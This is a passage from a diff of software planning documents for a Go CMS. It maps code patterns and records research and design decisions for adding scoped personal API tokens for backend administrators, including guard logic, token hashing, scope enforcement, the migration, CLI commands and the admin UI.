if plugin == nil { continue }
|
||||
if src, ok := plugin.(pact.HasPermissions); ok && src != nil {
|
||||
for _, permission := range src.Permissions() {
|
||||
if !permissionCode(permission.Code, false) {
|
||||
return fmt.Errorf("cabana: plugin %s registered invalid permission %q", plugin.ID(), permission.Code)
|
||||
}
|
||||
if _, exists := reg.permissions[permission.Code]; exists {
|
||||
return fmt.Errorf("cabana: duplicate permission %s", permission.Code)
|
||||
}
|
||||
...
|
||||
```
|
||||
Validation reuse (:301-308):
|
||||
```go
|
||||
func (r *Registry) validatePermissions(owner string, permissions []string) error {
|
||||
for _, code := range permissions {
|
||||
if !permissionCode(code, true) || !r.permissionExists(code) {
|
||||
return fmt.Errorf("cabana: %s references unknown permission %s", owner, code)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
```
|
||||
Phrase-key existence: follow `validateMessageKeys` (messages.go:322-326), called from http.go ~:131 when a `*phrasebook.Translator` is published. Write `scopeCovers` fresh — do NOT reuse `granted()` (contracts.go:203-235), see RESEARCH Pattern 2.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/contracts.go` (`Allows`)
|
||||
|
||||
**Analog:** itself (:186-199); target shape in RESEARCH Pattern 2 (scope evaluated before the `IsSuperuser` short-circuit).
|
||||
|
||||
---
|
||||
|
||||
### `interactiveOnly` route wrapper
|
||||
|
||||
**Analog:** `modules/cabana/csrf.go:22-30`:
|
||||
```go
|
||||
func requireAjax(next http.HandlerFunc) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
if !csrfSafe(r) {
|
||||
WriteError(w, http.StatusForbidden, "forbidden", msgForbidden)
|
||||
return
|
||||
}
|
||||
next(w, r)
|
||||
}
|
||||
}
|
||||
```
|
||||
Apply in `mount` (http.go :243-249) composed as `interactiveOnly(requireAjax(s.accountUpdate))`:
|
||||
```go
|
||||
r.GroupRaw(api, []string{"backend"}, func(g pact.Router) {
|
||||
g.Get("/auth/me", s.me)
|
||||
g.Put("/account", requireAjax(s.accountUpdate))
|
||||
g.Post("/account/avatar", requireAjax(s.avatarUpload))
|
||||
g.Delete("/account/avatar", requireAjax(s.avatarRemove))
|
||||
g.Get("/navigation", s.navigation)
|
||||
g.Get("/field-types", s.fieldTypesList) // needs explicit token gate (Pitfall 2)
|
||||
g.Post("/markdown/preview", requireAjax(s.markdownPreview)) // same
|
||||
```
|
||||
`/auth/refresh` and `/auth/logout` are mounted outside the guard (:228-236) — add explicit `g15_` refusal + tests.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/account_tokens.go` (controller, CRUD)
|
||||
|
||||
**Analog:** `modules/cabana/account.go`
|
||||
|
||||
Principal (:216-224):
|
||||
```go
|
||||
func accountPrincipal(w http.ResponseWriter, r *http.Request) *bouncer.Principal {
|
||||
principal, ok := bouncer.User(r.Context())
|
||||
if !ok || principal == nil || !principal.Backend || principal.ID == 0 {
|
||||
WriteError(w, http.StatusUnauthorized, "unauthenticated", msgUnauthenticated)
|
||||
return nil
|
||||
}
|
||||
return principal
|
||||
}
|
||||
```
|
||||
Handler skeleton (:289-310): principal → `s.decodeCappedObject(w, r)` → `writeRelationError` on decode → `s.translator()` → `&ValidationError{Details: ...}` via `writeCRUDError` → `s.db()` with slog + 500:
|
||||
```go
|
||||
func (s *service) accountUpdate(w http.ResponseWriter, r *http.Request) {
|
||||
principal := accountPrincipal(w, r)
|
||||
if principal == nil { return }
|
||||
body, err := s.decodeCappedObject(w, r)
|
||||
if err != nil { writeRelationError(w, err); return }
|
||||
tr := s.translator()
|
||||
if details := refusedAccountKeys(r.Context(), tr, body); len(details) > 0 {
|
||||
writeCRUDError(w, &ValidationError{Details: details})
|
||||
return
|
||||
}
|
||||
db, err := s.db()
|
||||
if err != nil {
|
||||
slog.Default().ErrorContext(r.Context(), "cabana: account update without a database", "error", err)
|
||||
WriteError(w, http.StatusInternalServerError, "error", msgServerError)
|
||||
return
|
||||
}
|
||||
```
|
||||
Messages: `backendMessage(ctx, tr, key, fallback)` (:246) for `api_tokens.name_required` etc.; `fieldDetail("scopes", msg)` for single-field 422. Error tail: copy `writeAccountError` (:495-507).
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/admin_openapi.go` (swag stubs)
|
||||
|
||||
**Analog:** `AdminAccountUpdate` (:204-219) / `AdminMe` (:190-202):
|
||||
```go
|
||||
// AdminAccountUpdate documents PUT /account.
|
||||
//
|
||||
// @Summary Update my account
|
||||
// @Description ...
|
||||
// @Tags admin
|
||||
// @Accept json
|
||||
// @Produce json
|
||||
// @Security BackendBearer
|
||||
// @Param body body AdminAccountRequest true "Profile and optional password change"
|
||||
// @Success 200 {object} Envelope[AdminProfile]
|
||||
// @Failure 401 {object} ErrorEnvelope
|
||||
// @Failure 403 {object} ErrorEnvelope
|
||||
// @Failure 422 {object} ErrorEnvelope
|
||||
// @Router /account [put]
|
||||
func AdminAccountUpdate() {}
|
||||
```
|
||||
Also update the `BackendBearer` description at :10 (`Send "Bearer {access_token}"`) to mention `g15_` tokens. Create must document 201 (Pitfall 8). Regenerate via `scripts/check-admin-openapi.sh`; add routes to `phase09Routes` (security_coverage_test.go:34), `conformCases()` (openapi_conformance_test.go).
|
||||
|
||||
---
|
||||
|
||||
### `modules/lagoon/backend_admin_migrations.go` (migration)
|
||||
|
||||
**Analog:** last entry (:121-132):
|
||||
```go
|
||||
{
|
||||
// WinterCMS ...: a nullable jsonable column. It is TEXT, not JSONB ...
|
||||
ID: "202610090001_backend_users_metadata",
|
||||
Migrate: func(tx *gorm.DB) error {
|
||||
return tx.Exec(`ALTER TABLE backend_users ADD COLUMN IF NOT EXISTS metadata TEXT`).Error
|
||||
},
|
||||
Rollback: func(tx *gorm.DB) error {
|
||||
return tx.Exec(`ALTER TABLE backend_users DROP COLUMN IF EXISTS metadata`).Error
|
||||
},
|
||||
},
|
||||
```
|
||||
Multi-statement `stmts := []string{...}` loop: first entry (:23-...). Full DDL in RESEARCH "Migration entry". Update the package doc comment above `BackendAdminMigrations` (:15-21) to mention the token table. Fix `TestBackendAdminMetadataColumn` (test :561-575) in the same commit.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/commands.go` (`admin:token:*`)
|
||||
|
||||
**Analog:** same file :18-50 (command table) and :52-104 (`adminCreate`):
|
||||
```go
|
||||
{
|
||||
Name: "admin:reset-password",
|
||||
Description: "Reset a backend administrator password and revoke existing tokens",
|
||||
Args: []bonfire.Arg{{Name: "identifier", Description: "Login or email", Required: true}},
|
||||
Flags: []bonfire.Flag{{Name: "password", Description: "..."}},
|
||||
Run: func(ctx context.Context, in bonfire.Input, out bonfire.Output) error {
|
||||
return adminResetPassword(ctx, app, in, out)
|
||||
},
|
||||
},
|
||||
```
|
||||
Body idiom: `flagValue(in, "...")`, `in.Argument("identifier")`, `withAdminDB(ctx, app, func(gdb *gorm.DB) error { return gdb.WithContext(ctx).Transaction(...) })`, errors prefixed `"cabana: ..."`. `--scope` uses `bonfire.Flag{Repeatable: true}` (bonfire/command.go:42-48). **Divergence:** `admin:token:create` must print only `out.Println(token)` — never `out.Success` (stdout == stderr in generated mains, Pitfall 7). Identifier resolution: reuse `findBackendLogin`. Plugin list: look up the party-published slice at Run time (Option A).
|
||||
|
||||
Tests: copy `TestAdminCreateCommand` (commands_test.go:24) harness.
|
||||
|
||||
---
|
||||
|
||||
### `../sm-journal-plugin/token_scopes.go`
|
||||
|
||||
**Analog:** `../sm-journal-plugin/admin_permissions.go` (:1-25):
|
||||
```go
|
||||
package journal
|
||||
|
||||
import "git.golem15.com/golem15/summercms/modules/pact"
|
||||
|
||||
const journalPermissionTab = "golem15.journal::lang.journal.tab"
|
||||
|
||||
// Permissions is the plugin's Winter registerPermissions() catalog. ...
|
||||
func (*Plugin) Permissions() []pact.Permission {
|
||||
return []pact.Permission{
|
||||
{
|
||||
Code: "golem15.journal.manage_settings",
|
||||
Tab: journalPermissionTab,
|
||||
Label: "golem15.journal::lang.journal.manage_settings",
|
||||
Roles: []string{"developer"},
|
||||
},
|
||||
```
|
||||
`func (*Plugin) TokenScopes() []pact.TokenScope` returning `journal` and `journal:read` (`golem15.journal.*`), labels under `golem15.journal::lang.scopes.*` in `lang/{en,pl}/lang.yaml`.
|
||||
|
||||
---
|
||||
|
||||
### `../sm-journal-plugin/controllers/api/auth.go` (resolver switch)
|
||||
|
||||
**Analog:** itself. Replace `newBackendGuard` (:58-81, the nil-`*cabana.Registry` bug, Pitfall 4) with the cabana resolver looked up per request; keep bodies byte-identical:
|
||||
```go
|
||||
func writeAuthRequired(w http.ResponseWriter, _ error) {
|
||||
writeAPIError(w, http.StatusUnauthorized, errAuthenticationRequired)
|
||||
}
|
||||
|
||||
func optionalBackendPrincipal(app *backpack.App, r *http.Request) *http.Request {
|
||||
if r == nil || !hasBearer(r) { return r }
|
||||
pr, err := newBackendGuard(app, nil).Authenticate(r)
|
||||
if err != nil || pr == nil { return r }
|
||||
return r.WithContext(bouncer.WithUser(r.Context(), pr))
|
||||
}
|
||||
|
||||
func requireBackendPrincipal(app *backpack.App, w http.ResponseWriter, r *http.Request) (*http.Request, *bouncer.Principal, bool) {
|
||||
pr, err := newBackendGuard(app, writeAuthRequired).Authenticate(r)
|
||||
if err != nil || pr == nil {
|
||||
writeAuthRequired(w, err)
|
||||
return r, nil, false
|
||||
}
|
||||
r = r.WithContext(bouncer.WithUser(r.Context(), pr))
|
||||
return r, pr, true
|
||||
}
|
||||
```
|
||||
Map `ErrTokenScope` → `writeAPIError(w, 403, errInsufficientPerms)`; pass cover `"golem15.journal.*"`. Same for posts.go Index/Show (:32, :121) and featured-image handlers (:325, :393).
|
||||
|
||||
---
|
||||
|
||||
### `admin/src/components/account/ApiTokensPanel.vue` (+ `ApiTokenCreateDialog.vue`)
|
||||
|
||||
**Analogs:** `admin/src/views/AccountView.vue`, `admin/src/components/relation/RelationPickerModal.vue`
|
||||
|
||||
Imports (AccountView.vue :2-14):
|
||||
```ts
|
||||
import { computed, nextTick, ref } from 'vue'
|
||||
import { CircleAlert, ImageUp, Trash2 } from '@lucide/vue'
|
||||
import { api } from '../api/client'
|
||||
import type { AdminAccountRequest } from '../api/types'
|
||||
import { t } from '../app/i18n'
|
||||
import { controlClass } from '../components/form/control'
|
||||
import { fieldErrors, focusField } from '../components/form/formState'
|
||||
import Button from '../components/ui/Button.vue'
|
||||
import { useConfirm } from '../components/ui/confirm'
|
||||
import { showToast } from '../state/useToasts'
|
||||
```
|
||||
API + 422 handling (AccountView.vue :219-233):
|
||||
```ts
|
||||
const result = await api.PUT('/account', { body: payload() })
|
||||
...
|
||||
errors.value = fieldErrors(result.error?.error.details)
|
||||
...
|
||||
focusField(ID_PREFIX, first)
|
||||
```
|
||||
Card class: AccountView.vue :255 `flex flex-col gap-3 rounded-card border border-border bg-surface p-7 shadow-card` (UI-SPEC uses `gap-4`).
|
||||
Shared confirm: AccountView.vue :92 `const confirm = useConfirm()`, `confirm.ask({...}, run)` (confirm.ts:28), single `<ConfirmDialog>` at :411-419 — pass `confirm` to the panel as a prop.
|
||||
Dialog shell (RelationPickerModal.vue :3-11): `DialogRoot, DialogPortal, DialogOverlay, DialogContent, DialogTitle, DialogDescription, DialogClose` from `reka-ui`; classes verbatim per UI-SPEC §4. Segmented control classes: `PermissionEditorField.vue`. Date format: reuse the `CellValue.vue` datetime formatter.
|
||||
|
||||
AccountView.vue edit: render `<ApiTokensPanel :confirm="confirm" />` after the `<form>` (ends ~:409), before `<ConfirmDialog>`.
|
||||
|
||||
Tests: `admin/tests/views/AccountView.test.ts` and `admin/tests/relation/RelationPickerModal.test.ts` (note: `admin/tests/components/` does not exist yet — either create it or place the test under `admin/tests/views/` / a new `admin/tests/account/`).
|
||||
|
||||
## Shared Patterns
|
||||
|
||||
### Admin error envelope
|
||||
**Source:** `modules/cabana` `WriteError(w, status, code, msg)`, `WriteErrorDetails`, `writeCRUDError(w, &ValidationError{Details: ...})`, `fieldDetail`.
|
||||
**Apply to:** token guard 401/403, interactiveOnly, account token endpoints, route gates on `/field-types` and `/markdown/preview`.
|
||||
|
||||
### Principal retrieval
|
||||
**Source:** `bouncer.User(r.Context())`, `bouncer.Credential(r.Context())`; `accountPrincipal` (account.go:216).
|
||||
**Apply to:** all account token handlers, `interactiveOnly`.
|
||||
|
||||
### Fail-loud capability compile
|
||||
**Source:** `compileContributions` (registry.go:169), errors `fmt.Errorf("cabana: ...")`.
|
||||
**Apply to:** scope registration.
|
||||
|
||||
### Logging
|
||||
`slog.Default().ErrorContext/WarnContext(ctx, "cabana: ...", "key", val)` — never log plaintext or Authorization.
|
||||
|
||||
### Documentation
|
||||
Every exported identifier/CLI command change updates the module README and `docs/` (TestDocsTree). Add `admin:token:*` to `cmd/summer/runtime.go` delegate table (:37-38) and `docs/console/introduction.md`.
|
||||
|
||||
## No Analog Found
|
||||
|
||||
| File | Role | Data Flow | Reason |
|
||||
|---|---|---|---|
|
||||
| `scopeCovers` wildcard-vs-wildcard logic (in `token_scopes.go`) | utility | transform | `granted()` has different semantics; write fresh with table tests (RESEARCH Pattern 2) |
|
||||
|
||||
## Metadata
|
||||
|
||||
**Analog search scope:** `modules/{cabana,bouncer,pact,lagoon,party,bonfire}`, `admin/src`, `admin/tests`, `cmd/summer`, `../sm-journal-plugin`, `../sm-summercmsio-app/plugins/golem15/user`
|
||||
**Files scanned:** ~20
|
||||
**Pattern extraction date:** 2026-10-11
|
||||
@@ -0,0 +1,726 @@
|
||||
# Phase 16.3: Backend admin personal API tokens with scopes - Research
|
||||
|
||||
**Researched:** 2026-10-11
|
||||
**Domain:** Go admin authentication (bouncer/cabana guard), permission/scope intersection, framework migration, admin SPA (Vue 3), bonfire CLI, Journal plugin wiring
|
||||
**Confidence:** HIGH (every finding below is read from this repo and its sibling repos this session; no new external packages)
|
||||
|
||||
<user_constraints>
|
||||
## User Constraints (from CONTEXT.md)
|
||||
|
||||
### Locked Decisions
|
||||
|
||||
#### Scope model
|
||||
- **D-01:** Scopes are named and registered by plugins through a new pact capability (working name `pact.HasTokenScopes`). Each scope has a name, a label and description (phrasebook keys), a list of permission patterns (Winter `.*` wildcard semantics, Phase 9 D-03) and a list of allowed HTTP methods. The naming convention is `<plugin>` for full access and `<plugin>:read` for read-only, e.g. `journal` → `golem15.journal.*` with all methods. A duplicate scope name fails boot loudly. — **Reversibility:** costly — plugins implement the capability and stored tokens reference scope names.
|
||||
- **D-02:** Read-only is enforced by the scope's method list. A `:read` scope allows only `GET`/`HEAD`, and the framework refuses any other method with 403 before the handler runs. Plugins do not change their handlers for this. A POST that only reads (search) is not reachable with a read scope; that is accepted.
|
||||
- **D-03:** A token holds several scopes. A request passes if any one scope allows it, meaning its method list includes the request method and its patterns match every required permission. Scopes are immutable after creation.
|
||||
- **D-04:** Framework scopes:
|
||||
- `*` means full access: all methods, and it behaves exactly like the owner.
|
||||
- `admin:read` means system-wide read-only: `GET`/`HEAD` on everything the owner can see.
|
||||
|
||||
Journal registers `journal` and `journal:read`. Payment (`payment:read`) and Fonoteka scopes come with their own phases through the same API.
|
||||
- **D-05:** Deny by default. A token reaches a route only when a scope covers it. When `cabana.Allows` is called with an empty permission list under a token, only `*` (and `admin:read` for GET/HEAD) passes; other scoped tokens are refused. `GET /auth/me` is always allowed to any valid token, so an agent can see who it is.
|
||||
- **D-06:** An explicit "interactive only" marker covers account changes (`PUT /account`, password, email, avatar), token management (create, list, revoke) and logout/refresh. These routes refuse every token, including `*`, and need an admin JWT session. A leaked token cannot take over the account or mint new tokens. — **Reversibility:** reversible.
|
||||
|
||||
#### Token lifecycle
|
||||
- **D-07:** The format keeps the Apparatus shape: `g15_` + 40 lowercase hex chars (20 random bytes from `crypto/rand`, 160 bits). Only the sha256 hex is stored, in a unique indexed column, along with the last 4 characters as a display hint (`g15_…a1b2`). There is no checksum suffix. — **Reversibility:** one-way — issued tokens live in agent and integration configs.
|
||||
- **D-08:** Expiry is optional. The SPA picker offers 30 / 90 / 365 days / never, defaulting to 90 days. The CLI accepts `--expires=30d|90d|365d|never` or a date, also defaulting to 90 days. Expired tokens return 401.
|
||||
- **D-09:** Revoking is a soft revoke. It sets `revoked_at` and `revoked_by` and keeps the row for audit. Revoked tokens return 401 and are hidden from the default list, with an option to show them. Name, scopes and expiry cannot be edited: to change one, create a new token and revoke the old one.
|
||||
- **D-10:** The owner is loaded fresh on every request through the existing `BackendUsers.FindByID` path. Deactivating (`is_activated=false`) or soft-deleting the owner makes all their tokens fail with 401. A password reset and the JWT `tokens_valid_after` cutoff do **not** invalidate tokens, so routine password changes don't break agents.
|
||||
- **D-11:** `last_used_at` is stamped on use, at most once per minute per token, so every request isn't a write. Lists show name, scopes, hint, `created_at`, `last_used_at`, `expires_at`, and revoked state.
|
||||
- **D-12:** The table is framework-owned. It is appended to `BackendAdminMigrations` (history id `summercms.cabana`) as a raw-SQL migration with a dated ID. Columns are roughly: id, backend_user_id (FK), name, token_hash (unique), token_hint, scopes (JSON array of names), expires_at, last_used_at, revoked_at, revoked_by, timestamps. Apparatus `golem15_apparatus_personal_api_tokens` rows are **not** migrated.
|
||||
|
||||
#### Guard and Journal wiring
|
||||
- **D-13:** The cabana `backend` guard becomes composite. `Authorization: Bearer g15_…` goes to the token lookup; everything else (Bearer JWT or the admin cookie) goes to the existing `NewBackendJWTGuard` path unchanged. Tokens are accepted only in the Bearer header, never from a cookie or query string. The token row is returned as the bouncer credential (`CredentialGuard`). — **Reversibility:** costly — every backend-authenticated route goes through it.
|
||||
- **D-14:** The permission side of the scope check lives in the principal. A token-authenticated `Principal` carries its scopes' permission patterns and methods, and `cabana.Allows` requires **both** an owner grant and a matching scope pattern. Every existing check (admin CRUD `RequiredPermissions`, actions, Journal's direct `Allows` calls) is restricted with no per-route annotation. A superuser holding a scoped token is still limited to the scope. The method check runs once, in the guard or middleware. — **Reversibility:** costly — `Allows` semantics change for every caller.
|
||||
- **D-15:** Cabana exports a principal resolver, working name `cabana.BackendPrincipal(r)` or similar, that runs the composite guard plus the scope and method checks for routes that don't sit under the `backend` middleware. Journal's `controllers/api/auth.go` uses it instead of building its own `NewBackendJWTGuard`. Journal's error bodies and status codes stay byte-identical (`{"error":"Authentication required"}` 401, its existing 403). The public read routes stay optional-auth, so a valid token with `journal` or `journal:read` also unlocks drafts where the owner may see them. This reverses Phase 15 D-15. — **Reversibility:** reversible.
|
||||
|
||||
#### Admin SPA and CLI
|
||||
- **D-16:** The SPA panel is an "API tokens" section on `/account` (`AccountView.vue`). It lists, creates and revokes the current user's own tokens only. There is no superuser view of other users' tokens; superusers use the CLI. The plaintext is shown once after creation with a copy button and a clear "you won't see this again" notice, and is never retrievable afterwards.
|
||||
- **D-17:** The scope picker lists registered scopes with label and description. It hides scopes that grant the current user nothing (no overlap between the scope's patterns and their grants). `*` is always shown, labelled as full access ("everything you can do"). The server re-validates scope names and the overlap rule on create (422 on an unknown or empty scope).
|
||||
- **D-18:** Account token endpoints sit under the admin API (Phase 9 D-09/D-10 envelope), for example `GET/POST /_admin/api/v1/account/tokens`, `DELETE /account/tokens/{id}` (revoke) and `GET /account/tokens/scopes`. They carry swag annotations so the OpenAPI document and the SPA TS types cover them, and they are interactive-only (D-06).
|
||||
- **D-19:** CLI commands in cabana, beside `admin:create`:
|
||||
- `admin:token:create <login|email> --name=… --scope=journal [--scope=payment:read] [--expires=90d|never]` prints only the plaintext token to stdout so it can be piped.
|
||||
- `admin:token:list [<login|email>] [--revoked]`
|
||||
- `admin:token:revoke <id>`
|
||||
- `admin:token:scopes` lists registered scopes.
|
||||
|
||||
The CLI may create tokens for any backend user and applies the same overlap validation as D-17.
|
||||
- **D-20:** Module READMEs (cabana, bouncer if its API changes, pact for the new capability) and the `docs/` pages cover the token API, the scope registration capability, the framework scopes and the CLI commands, per the project documentation rules. The Journal README documents its scopes and token auth.
|
||||
|
||||
### Claude's Discretion
|
||||
- Exact names: the pact capability, the scope struct, the principal resolver, the table (`backend_api_tokens` or similar), and the interactive-only marker.
|
||||
- How scopes are stored (JSON array vs `text[]`), and what an unknown scope name does at request time after a plugin drops it. Recommended: it grants nothing and is shown as unknown in lists.
|
||||
- How the 403 for a scope refusal is reported in the framework envelope (e.g. `details.reason = "token_scope"`).
|
||||
- Whether token requests get their own throttle bucket; reuse an existing throttle shape if cheap.
|
||||
- How `last_used_at` is debounced (in-memory per process is fine).
|
||||
|
||||
### Deferred Ideas (OUT OF SCOPE)
|
||||
- Backend-user management screen, including a superuser view and revoke of other users' tokens: its own phase.
|
||||
- `payment:read` scope: registered by the Payment Gateway phase (18.x) through D-01.
|
||||
- Fonoteka scopes: when a Fonoteka integration needs token access.
|
||||
- Secret-scanner-friendly checksum token format: only if a scanner partnership is pursued.
|
||||
</user_constraints>
|
||||
|
||||
<phase_requirements>
|
||||
## Phase Requirements
|
||||
|
||||
No requirement IDs are mapped (ROADMAP: "Requirements: TBD"). The success criteria are the coverage source.
|
||||
|
||||
| ID | Description | Research Support |
|
||||
|----|-------------|------------------|
|
||||
| SC-1 | `backend` guard accepts a valid, unexpired, unrevoked `g15_` token as well as the backend JWT; request runs as the token's user | Composite guard (Pattern 1), registration point `http.go:145-160`, `Registry.Middleware` credential handling `registry.go:83-99` |
|
||||
| SC-2 | Out-of-scope requests refused even when the role allows; token never exceeds owner | `Allows` rewrite (Pattern 2), method filter in guard (Pattern 1), unchecked-route audit (Pitfall 2), owner-branch bypass in Journal (Pitfall 3) |
|
||||
| SC-3 | Create/list/revoke own tokens in SPA, plaintext shown once; CLI for any user | Account token API (Pattern 5), interactive-only marker (Pattern 4), SPA pipeline, CLI (Pattern 7, Pitfall 6/7) |
|
||||
| SC-4 | Journal accepts a Journal-scoped token for writes | Resolver (Pattern 3), Journal call sites, `*cabana.Registry` never published (Pitfall 4) |
|
||||
| SC-5 | READMEs and `docs/` cover token API, scopes, CLI | Docs tooling section, `docsCommands` and `delegateCommands` tables |
|
||||
| SC-6 | Unit tests in the last plan | Validation Architecture |
|
||||
</phase_requirements>
|
||||
|
||||
## Project Constraints (from CLAUDE.md)
|
||||
|
||||
- Lean planning: fewer, larger plans; **present the plan count with one-line scopes and wait for confirmation before writing PLAN.md files**.
|
||||
- Unit tests are always the **last plan** of the phase; earlier plans may carry smoke tests only.
|
||||
- Standard library first (`net/http`, `encoding/json`, `crypto/*`). A dependency is added only when a research doc or phase decision names it. This phase needs **no new Go or npm dependency**.
|
||||
- Compiled plugins; no runtime plugin loading.
|
||||
- `go vet` and `go test ./...` green at every commit.
|
||||
- Commits: no co-author tags; one logical change per commit; planning docs and code in separate commits.
|
||||
- Any change to a `modules/` package's exported API, config keys, CLI commands or dependencies updates that module's `README.md` **and** affected `docs/` pages in the same change. Framework READMEs never name a consuming application (say "host application"; examples use `blog`/`acme`).
|
||||
- Every identifier named in a README/docs page must exist; `go test ./cmd/summer -run TestDocsTree` and `summer docs:build --check` verify identifiers, links, anchors, `src=` snippets, command names and consuming-application names. Config keys are not checked automatically.
|
||||
- Core plugin contracts (user, blog, pages, payment) must be preserved.
|
||||
- Two repos are written in this phase: `summercms.go` (framework) and `../sm-journal-plugin`; host apps only bump versions.
|
||||
|
||||
## Summary
|
||||
|
||||
The framework already has every seam this phase needs, and none of them needs a new library. `bouncer.Registry.Middleware` already prefers a `CredentialGuard` and stores the returned credential on the context; `bouncer.UnauthorizedWriter` receives the guard's error, so one composite guard can answer 401 for bad tokens and 403 for a method refusal from the same hook. Cabana registers its own `backend` guard at one point (`http.go:145-160`), so wrapping it is a local change. All permission enforcement in cabana funnels through `cabana.Allows` (no handler reads `IsSuperuser` or `PermissionGrants` directly), which makes D-14's "restrict in `Allows`" approach sound — provided the principal carries a method-filtered scope limit and `Allows` stops short-circuiting on `IsSuperuser` for scoped principals.
|
||||
|
||||
Four findings change the plan's shape. (1) `*cabana.Registry` is never published to the app, so Journal's `newBackendGuard` always builds `BackendUsers{Registry: nil}` and silently drops code-declared role grants; the D-15 resolver must be published by `cabana.Activate` and fixes this as a side effect. (2) Several cabana routes (`/field-types`, `/markdown/preview`) and two Journal handlers (`UploadFeaturedImage`, `DeleteFeaturedImage`, plus draft visibility via `canViewDraft`) authorize by ownership or authentication only, never through `Allows`; under a scoped token they would be reachable by an unrelated scope, so deny-by-default needs explicit gates there. (3) `cabana.RuntimeCommands(app)` takes no plugin list and is called from generated `main.go` files in every host app, so the CLI cannot see plugin scopes without either a signature change (forcing regenerated mains) or a published plugin list. (4) Appending to `BackendAdminMigrations` breaks `TestBackendAdminMetadataColumn`, which pins the last migration ID.
|
||||
|
||||
**Primary recommendation:** Build a cabana-owned composite `backend` guard that routes `Bearer g15_…` to a sha256 lookup, loads the owner through the existing `lazyBackendUsers`, method-filters the token's scopes into a `bouncer.Principal` scope limit, and publishes a resolver for Journal; rewrite `Allows` as "owner grant AND scope cover, per code"; gate every non-`Allows` route explicitly; keep all crypto in stdlib.
|
||||
|
||||
## Architectural Responsibility Map
|
||||
|
||||
| Capability | Primary Tier | Secondary Tier | Rationale |
|
||||
|------------|-------------|----------------|-----------|
|
||||
| Token minting, hashing, lookup | API / Backend (cabana) | Database (token table) | Secret generation and hashing never leave the server; only sha256 is persisted |
|
||||
| Scope registry (plugin-declared) | API / Backend (cabana compile at boot, pact interface) | — | Same compile path as `HasPermissions`; fail-loud at boot |
|
||||
| Scope ∩ permission enforcement | API / Backend (`cabana.Allows`, guard method filter) | — | Handlers already call `Allows`; method filter needs request context |
|
||||
| Interactive-only refusal | API / Backend (route wrapper) | — | Must run before handler, per route |
|
||||
| Journal token acceptance | API / Backend (cabana resolver used by Journal handlers) | — | Journal routes are not under the `backend` middleware |
|
||||
| Token panel (list/create/revoke, show once) | Browser / Client (admin SPA) | API (account token endpoints) | Plaintext lives only in component state; server owns validation |
|
||||
| Scope label translation | API / Backend | Browser | Plugin phrase keys are outside the `backend::lang.` bundle the SPA loads |
|
||||
| CLI token management | API / Backend process (bonfire command in app binary) | Database | Runs without HTTP; needs plugin scope catalog |
|
||||
| Token table schema | Database / Storage | — | Framework-owned migration under `summercms.cabana` history |
|
||||
|
||||
## Standard Stack
|
||||
|
||||
### Core (all already in the repo — nothing to install)
|
||||
|
||||
| Library | Version | Purpose | Why Standard |
|
||||
|---------|---------|---------|--------------|
|
||||
| `crypto/rand` (stdlib) | Go 1.27.0 | 20 random bytes per token | CSPRNG; D-07 |
|
||||
| `crypto/sha256` + `encoding/hex` (stdlib) | Go 1.27.0 | Stored token hash | Same transform as Apparatus `hash('sha256', …)` and the user plugin's `HashAPIToken` |
|
||||
| `crypto/subtle` (stdlib) | Go 1.27.0 | Constant-time compare after the row is fetched | Pattern already used in `wristband/crypto.go` |
|
||||
| `gorm.io/gorm` | v1.31.2 (pinned in go.mod) | Token model queries | Project standard |
|
||||
| `github.com/go-gormigrate/gormigrate/v2` | already pinned | Migration entry in `BackendAdminMigrations` | Project standard |
|
||||
| `lagoon.Jsonable[[]string]` | in-repo | `scopes` TEXT column as JSON array | Same shape as user plugin `user_api_tokens.scopes` |
|
||||
| `bonfire` (cobra wrapper) | in-repo | `admin:token:*` commands | `Flag.Repeatable` supports `--scope` repeated |
|
||||
| swaggo/swag | v1.16.6 (run via `go run` in `scripts/check-admin-openapi.sh`) | OpenAPI for the account token endpoints | Project standard |
|
||||
| openapi-typescript / openapi-fetch | 7.13.0 / 0.17.0 (admin/package.json) | SPA types and typed calls | Project standard |
|
||||
| reka-ui, @lucide/vue | 2.9.10 / 1.17.0 | Dialog, RadioGroup, icons | UI-SPEC locked |
|
||||
|
||||
[VERIFIED: summercms.go/admin/package.json; go version → `go version go1.27.0-X:nodwarf5 linux/amd64`]
|
||||
|
||||
### Alternatives Considered
|
||||
|
||||
| Instead of | Could Use | Tradeoff |
|
||||
|------------|-----------|----------|
|
||||
| plain sha256 | HMAC-SHA256 with a server pepper | Protects against a DB-only leak being used for offline guessing, but 160-bit random secrets cannot be guessed anyway, and a pepper rotation would invalidate every token (D-07 is one-way). Not recommended. |
|
||||
| bcrypt/argon2 of token | — | Wrong tool: slow hashes defend low-entropy passwords; they also prevent an indexed equality lookup. Do not use. |
|
||||
| `scopes` as `text[]` | Postgres array | Needs a custom GORM type or `pq.StringArray`; TEXT JSON matches existing Winter-shaped jsonable columns. Use TEXT JSON. |
|
||||
|
||||
**Installation:** none.
|
||||
|
||||
## Package Legitimacy Audit
|
||||
|
||||
This phase installs no external packages (Go or npm). Every library used is already pinned in `go.mod` or `admin/package.json`.
|
||||
|
||||
| Package | Registry | Age | Downloads | Source Repo | Verdict | Disposition |
|
||||
|---------|----------|-----|-----------|-------------|---------|-------------|
|
||||
| (none added) | — | — | — | — | — | — |
|
||||
|
||||
**Packages removed due to [SLOP] verdict:** none
|
||||
**Packages flagged as suspicious [SUS]:** none
|
||||
|
||||
## Architecture Patterns
|
||||
|
||||
### System Architecture Diagram
|
||||
|
||||
```
|
||||
Authorization: Bearer <x> | summer_admin cookie
|
||||
|
|
||||
+--------------------------+---------------------------+
|
||||
| |
|
||||
admin API route (backend mw) Journal route (/_journal/api/v1, no backend mw)
|
||||
| |
|
||||
v v
|
||||
bouncer.Registry.Middleware("backend") cabana resolver (published by Activate)
|
||||
| |
|
||||
+-------------------> composite guard <----------------+
|
||||
|
|
||||
x starts with "g15_"? |
|
||||
+-------- yes -----------+---------- no ---------+
|
||||
v v
|
||||
format check (g15_ + 40 hex) existing NewBackendJWTGuard path
|
||||
sha256 -> SELECT token row (bearer JWT or cookie, aud=backend,
|
||||
(not revoked, not expired) blacklist, tokens_valid_after)
|
||||
| |
|
||||
owner = lazyBackendUsers.FindByID (activated, not soft-deleted, role+user grants)
|
||||
| |
|
||||
method filter: scopes whose Methods include r.Method |
|
||||
